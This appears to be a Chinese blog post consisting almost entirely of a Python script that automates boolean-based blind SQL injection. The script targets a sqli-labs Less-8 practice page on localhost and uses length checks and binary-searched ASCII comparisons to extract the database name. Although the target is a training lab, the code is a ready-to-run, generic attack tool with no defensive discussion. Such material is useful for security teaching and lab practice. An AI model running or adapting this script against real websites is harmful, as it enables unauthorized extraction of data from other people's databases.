python自动化实现布尔盲注

import requests

# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"

# 要推断的数据库信息(例如:数据库名)
database_name = ""

# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "

# 计算字符集的ASCII范围
min_ascii = min(ord(c) for c in charset)
max_ascii = max(ord(c) for c in charset)


# 推断数据库名的长度
def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0


# 使用二分查找推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        low = min_ascii
        high = max_ascii
        char_found = False

        # 二分查找当前字符的ASCII值
        while low <= high:
            mid = (low + high) // 2

            # 检查当前字符是否小于等于mid
            payload_le = f"1' AND (SELECT ASCII(SUBSTRING(database(), {i}, 1)) <= {mid}) -- "
            response_le = requests.get(url, params={"id": payload_le})

            if "You are in" in response_le.text:
                # 检查是否等于mid
                payload_eq = f"1' AND (SELECT ASCII(SUBSTRING(database(), {i}, 1)) = {mid}) -- "
                response_eq = requests.get(url, params={"id": payload_eq})

                if "You are in" in response_eq.text:
                    db_name += chr(mid)
                    char_found = True
                    break
                high = mid - 1  # 不大于mid,缩小上限
            else:
                low = mid + 1  # 大于mid,提高下限

        if not char_found:
            db_name += "?"  # 未找到字符时的占位符

    return db_name


# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值